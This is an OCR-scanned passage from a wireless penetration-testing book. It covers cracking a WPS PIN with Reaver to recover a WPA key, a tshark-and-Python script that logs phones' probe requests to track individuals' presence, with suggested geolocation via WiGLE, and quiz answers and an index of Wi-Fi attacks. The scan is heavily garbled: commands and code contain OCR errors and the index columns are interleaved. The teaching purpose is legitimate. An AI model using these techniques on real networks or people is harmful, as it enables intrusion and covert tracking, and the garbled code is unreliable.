100.G0% complete @ 2014-12-15 22:47:47 (@ seconds/pin) 

Max time remaining at this.rate:;— (undetermined) (O-pins Left to try) 
Pin cracked in 25/6 seconds 

WPS PIN: '88455808' 

WPA PSK: ‘88455808 ' 

AP SSID: ‘Wireless Lab’ 

Nothing done, nothing to save. 


+] 
+] 
ag 
+] 
+] 
+] 
+] 
+] 





With WPA-PSK in hand, we can authenticate normally now. | left my device 
with the default WPA-PSK that matches the WPS pin. If, however, you want 
to authenticate with the WPS pin, you can do this by specifying the pin in 
reaver with the following command: 


reaver -i mon0O -b <mac> -vv -p 88404148 


Replace my pin with your own. 
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What just happened? 


We successfully identified a wireless network with a vulnerable instance of WPS active with 
Wash. We then used Reaver to recover the WPA key and the WPS pin. With this information, 
we could then authenticate with the network and continue a network penetration test. 





In the previous exercise, we attacked an entirely unprotected WPS installation. 
There are multiple methods that can be used to further secure installations without 
removing WPS altogether. 


Make an attempt to set the WPS pin to an arbitrary value and try again, to see whether 
Reaver is as effective at cracking it. 


Acquire a wireless router that allows you to rate-limit the WPS attempts. Try and configure 
your attack to avoid triggering lockouts. 


We have spoken about probes previously, and how they can be used to identify hidden 
networks and perform effective rogue access point attacks. They can also be used to 
identify individuals as targets or track them on a mass scale with minimal equipment. 


When a device wishes to connect to a network, it sends a probe request that contains its 
own MAC address and the name of the network it wishes to connect to. We can use tools 
such as airodump-ng to track these. However, if we wish to identify whether an individual 
was present at a specific location at a specific time or look for trends in Wi-Fi usage, we will 
need to use a different approach. 


In this section, we will utilize tshark and Python to collect data. You will receive the code 
and an explanation of what is being done. 


Time for action — collecting data 


Follow the given instructions to get started: 


1. First of all, we need a device that's looking for multiple networks. Generally, a 
normal smartphone such as an Android device or iPhone will do the trick. Desktops 
don't generally make good targets as they tend to remain in one location. Newer 
iPhones and Android devices may have probe requests disabled or obfuscated, 
so do check before you give up. 
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2. Once you have your device, make sure the Wi-Fi is turned on. 


3. Thenset up your monitoring interface as we have done many times before: 


:~# airmon-ng start wlan0 


Found 4 processes that could cause trouble. 
If airodump-ng, aireplay-ng or airtun-ng stops working after 
a short period of time, you may want to kill (some of) them! 


Name 
NetworkManager 
dhclient 
wpa_supplicant 
dhclient 
Process with PID 5640 (dhclient) is running on interface wland 


Interface Chipset Driver 


wlan Ralink RT2870/3070 rt2800usb - [phy0] 
Pilea mael ean iele(-me-lal-|ela-lemmelameiilelaicn) 





4, Thenext thing to be done is to look for probe requests with tshark via the 
following command: 


tshark -n -i monO subtype proberegq 


The screenshot of the following command is as follows: 


-~# tshark -n -1 mon@® subtype probereg 





5. Your output at this point is a little rough, as the default output from tshark is not 
designed to be readable, just to have as much information in it as possible. It should 
look like the following: 


:~-# tshark -n -i mon® subtype proberegq 
tshark: Lua: Error during Loading: 

[string "/usr/share/wireshark/init.lua"]:46: dofile has been disabled due to r 
unning Wireshark as superuser. See http://wiki.wireshark.org/CaptureSetup/Captu 
rePrivileges for help in running Wireshark as an unprivileged user. 

Running as user "root" and group "root". This could be dangerous. 
Capturing on ‘mond’ 

0.000000 00:0e:58:4c:b6:4d -> Ff: ff: ff: ff: ff: ff 802.11 140 Probe Request, SN= 
3896, FN=0, Flags= , SSID=Sonos_WmOyh99PtcOEkqRKJSC1wQj PEN 

0.500063 00:0e:58:4c:b6:4d -> ff: ff:ff:ff:ff:ff 802.11 140 Probe Request, SN= 
3912, FN=0, Flags= , SSID=Sonos_WmO0yh99PtcOEkqRKJ9C1wQj PEN 
2 1.500069 00:0¢6:58:4c:b6:4d -> ff: ff: ff: ff: ff: ff 802.11 140 Probe Request, S 
N=3938, FN=0, Flags= , SSID=Sonos_WmOyh99PtcOEkqRKJ9C1wQj PEN 
3 2.000136 00:0e:58:4c:b6:4d -> ff: ff:ff:ff:ff:ff 802.11 140 Probe Request, S 
N=3952, FN=0, Flags= , SSID=Sonos WmOyh99PtcOEkqRKJ9C1wQj PEN 
4 3.001043 00:0e:58:4c:b6:4d -> ff: ff:ff:ff:ff:ff 802.11 140 Probe Request, S 
N=3978, FN=0, Flags= , SSID=Sonos_WmOyh99PtcOEkqRKJ9C1wQj PEN 

3.250189 00:0e:58:4c:b6:4d.-> ff: F£: fF: fh: ff: Ff .802,11140 Probe Request, SN= 
3985, FN=0, Flags= , SSID=Sonas| WmOyh9SPtcOEKGRKISC1wQj PEN 
6 4.500149 00:0e:58:4c :b6:4d\-> fE FE ffi ffi FErtf 802/11 140 Probe Request, S 
N=4019, FN=0, Flags= , SSID=Sonos_WmOyh99PtcOEkqRKJ9C1wQj PEN 
‘an * 
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You can clearly see the MAC address and SSID of the probe request; however, 
this output can be improved. We can use the following command to make it 
more readable: 


tshark -n -i mon0O subtype probereg -T fields -e separator= -e 
wlan.sa -e wlan mgt.ssid 


The screenshot of the following command is as follows: 


--+# tshark -n -i mon@ subtype probereq -T fields -e separator= -e wlan 





-e wlan mgt.ssid 
The output here is much more readable: 


a:/G:bd:icb Wireless Lab 
rac 


/@:bd:cb Wireless Lab 





So, now we have the output in a readable format, what next? What we do is create 
a Python script that will run the command and record the output for later analysis. 
Before running the code, you will need to ensure that you have your monitoring 
interface ready and that a file called results.txt is created in the directory you 
are in. The Python script is as follows: 


import subprocess 

import datetime 

results = open("results.txt", "a") 
while 1: 


blah = subprocess.check output(["tshark -n -i monO subtype 
probereq -T fields -e separator= -e wlan.sa -e wlan _mgt.ssid -c 
100"], shell=True) 


splitblah = blah.split("\n") 

for value in splitblah[:-1]: 

Splitvalue = value. split ("™\t") 

MAC = str(splitvalue [1] ) 

SSID = str(splitvalue [2] ) 

time = str(datetime.datetime.now() ) 
Results.write (MAC+" "+SSID+" "4+time+"\r\n") 


Let's get briefed on the python script: 


QO import subprocess library and datetime library: This allow us to refer 
to the subprocess and datetime libraries. The subprocess library allows 
us to monitor the interface from the Linux command line, and datetime 
allows us to get the accurate time and date readings. 


Q while 1: This line means run until stopped. 
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results = open("results.txt", "a"): This opens a file with the 
append rights and assigns it to results. The append rights only allow the 
script to add to the contents of the file. This stops the file from constantly 
being overwritten. 


blah = subprocess.check output(["tshark -n -I mono 
subtype probereg -T fields -e separator= -e wlan.sa -e 
wlan mgt.ssid -c 100"], shell=True): This opens a shell to perform 
our previously tested tshark command. The only difference this time is—c 
100. What this flag does is it limit the command to 100 queries. This allows us 
to return the results to ourselves without having to stop the program. Since 
we said run forever after writing the results, the script will restart again. 


This line takes the output from the shell and assigns it to the variable blah. 
splitblah = blah.split("\n"): This takes the variable blah and 
splits it by line. 

for value in splitblah[:-1]: This repeats the following action 

for each line in the output, ignoring the first line that contains headers. 


splitvalue = value.split("\t"): This breaks each line into 
further smaller chunks using the tab character as the delimiter. 


The following three lines take each chunk of text and assign it to a variable. 


MAC = str(splitvalue[1] ) 
SSID = str(splitvalue [2] ) 
time = str(datetime.datetime.now() ) 


results.write (MAC+" "4+SSID+" "4+time+"\r\n"): This takes all 
the values, writes them to a file separated by spaces, and ends with a 
return and a new line for neatness. 


The output will be neat lines of text written to the file. 


What just happened? 


We took the input from probe requests and output them to a file using Python. 


You may ask yourself what the purpose of this is. This can be achieved by simply performing 
the original tshark command and adding a >> results.txt command to the end. 

You would be correct; however, what we have created is a framework for integration 

with other tools, visualization platforms, databases, and services. 


For example, using the WIGLE database that maps SSIDs to locations, you can add a few 
lines of code to take the SSID variable and query the WiGLE database. 
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Alternatively, you could set up a MySQL database and output the results there to perform 
the SQL commands on it. 


This section has provided you with the first steps to create your own probe-monitoring tools. 
Through experimentation and using this simple code as the first step, a multitude of useful 
tools can be created. 


Research which tools are available that allow visualization or data analytics and are easily 
integrated with Python. Tools such as Maltego have free versions that can be used to 
plot information. 


Set yourself up a MySQL database to record the data and reconfigure the preceding Python 
script to output the results to the database. Then, build another script (or do it in the same 
one) to retrieve the data and output it to Maltego. 


Reconfigure the script to query WiGLE, and collect geolocation data for probe requests. 
Output this data through Maltego. 


Make an attempt to set up a web-based frontend through Flask, Django, or PHP to 
display your results. Investigate currently existing solutions for presenting the data 
and attempting to emulate or improve them through a discussion with their creators. 


Summary 


In this chapter, we discussed the attacks against WPS that have come about since the release 
of the original book and also performed an initial foray into integrating wireless tools with 
Python. Alas, we have come to end of the book, | hope it's been informative and interesting. 
See you in another seven years for the third edition. 
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Chapter 1, Wireless Lab Setup 


Q1 Run the command ifconfig wlanO. In the output, you 
should see a flag "UP", this indicates that the card is 
functional. 


Q2 You will only need a hard drive if you would like to store 
anything across reboots like configuration settings or 
Scripts. 
It shows the ARP table on the local machine. 


Chapter 2, WLAN and its Inherent insecurities 
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Pop Quiz Answers 


Chapter 3, Bypassing WLAN Authentication 





Chapter 4, WLAN Encryption Flaws 


Pop quiz— WLAN encryption flaws 








Appendix 


Chapter 7, Advanced WLAN Attacks 
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access point 
configuring 5-7 
configuring, to use WEP 8 
configuring, to use WPA 8 
connecting to 9 
connecting to, wireless card used 9-11 
default accounts, cracking on 91-93 


setting up 5 
tables, filling 54 
accounts 


cracking, Brute-force attacks used 93 
adapter 29-31 
aircrack-NG suite 
URL 44 
airodump-NG utility 
URL 47 
AP 
setting up, FreeRADIUS-WPE (Wireless Pwnage 
Edition) used 158-161 
AP-less WPA cracking 134 
AP-less WPA-Personal cracking 132, 133 
application hijacking 
challenge 151 


B 


Brute-force attacks 
used, for cracking accounts 93 





C 


Caffe Latte attack 
about 123 
conducting 124-127 
client 
baiting 154 
deauthenticating 128-130 
deauthentication attack 152-154 
security configurations, finding 151 
control frames 
about 15 
viewing 22-25 
Cowpatty 
used, for cracking WPA-PSK 81 


D 


data 
collecting 179-182 
data frames 
about 15 
viewing 22-25 
data packets 
analyzing 28 
injecting 28 
sniffing, for network 26, 27 
deauthentication attack 
about 127 
on client 152-154 
default accounts 
cracking, on access points 91, 92 
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Denial of Service (DoS) attacks M 


about 54,94 
deauthentication attack 94-99 MAC filters 
disassociation attack 100 about 44 
disassociation attack instructions 44-47 
about 127 management frames 
on client 130 about 15 
discovery phase, wireless penetration viewing 22-25 
testing 170, 171 man-in-the-middle attack (MITM) 
about 138-142 
E over pure wireless 142 
used, for Wireless Eavesdropping 142-147 
EAP-TTLS 166 Message Integrity Check (MIC) 74 
Enterprises Mis-Association attack 
security, best practices 166 orchestrating 118-123 
Ettercap 151 monitor mode interface 
evil twin creating 16-18 
about 100 multiple monitor mode interfaces, creating 19 
and access point MAC spoofing 100 MSCHAP-v2 166 
and channel hopping 107 
and MAC spoofing 101-106 O 
F Open Authentication 
about 47 
filters bypassing 47, 48 
working with 26 
FreeRADIUS-WPE (Wireless Pwnage Edition) p 
RADIUS, working with 161 
setting up 157 Pairwise Master Key (PMK) 82 
URL 158 Pairwise Transient Key (PTK) 73 
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